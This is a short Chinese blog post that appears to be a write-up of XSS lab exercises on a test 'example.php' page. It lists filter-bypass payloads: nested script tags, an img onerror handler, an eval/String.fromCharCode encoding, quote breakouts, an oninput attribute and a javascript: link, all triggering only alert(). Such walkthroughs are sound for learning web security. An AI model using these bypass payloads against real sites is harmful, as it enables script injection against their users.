xss

作者: 留白_bb77 | 来源:发表于2019-04-12 17:51 被阅读0次

过滤了小写的``,可以使用大小写绕过

过滤了不区分大小写的``与``,可以使用嵌套的script标签绕过,

url/example.php?name=<scr<script>ipt>alert("xss")</scr</script>ipt>

包含script字符串即报错,可以使用img标签绕过。

URL/example.php?name=<img src=""onerror="alert('xss')">

包含alert字符串即报错,可以使用编码方式绕过。URL/example.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

代码在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,可以使用单引号绕过。

url/example.php?name=';alert('xss');'

post地址使用了当前url,我们构造当前url地址达到xss目的,尝试构造代码如下

url/example.php/[/url]"><script>alert('xss')</script>

使用str_replace()函数将``用空格取代。这种防护几乎没有什么作用,只需要简单改变大小写即可绕过该函数的防御。

输入`alert(/xss/)`即可。

Name处限制了字符长度。但是PHP源码中并没有对Name的长度进行验证。可以采用分段绕过,即“/* */ ”的方式

需要先将value属性闭合

"><script>alert('yes')</script>

oninput事件

属性       值            描述

Oninput   script      当元素获得用户输入时运行的脚本。

该事件会在元素获得用户输入时执行包含的脚本

123' oninput='alert(123)

由于使用的是oninput事件,需要捕获到用户输入才能执行事件,所以在上面的输入框中输入即可触发alert()函数

判断value使用的是单引号还是双引号方法:

输入' " > 三个字符测试闭合,查看文本框内的内容

 文本框无内容就是单引号,内容为 ' 即为双引号

 

Oninput和script都被替换,使用伪链接方式假造一个超链接尝试:

"> <a href="javascript:alert('test')">link</a>

点击链接

相关文章

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • XSS 与 CSRF 两种跨站攻击

    XSS XSS:跨站脚本(Cross-site scripting) XSS:脚本中的不速之客 XSS 全称“跨站...

  • 网络安全必学知识点之XSS漏洞

    xss漏洞小结 一、初识XSS 1、什么是XSS XSS全称跨站脚本(Cross Site Scripting),...

  • php常见的攻击

    一、跨站点脚本攻击(XSS) XSS介绍: XSS : 跨站脚本(cross site script) XSS是指...

  • XSS-CSRF的bvwa破解

    A-XSS-Reflected 一、XSS:(中级别) 测试payload:“ alert(“xss”) ”:测试...

网友评论

      本文标题:xss

      本文链接:https://www.haomeiwen.com/subject/xflhwqtx.html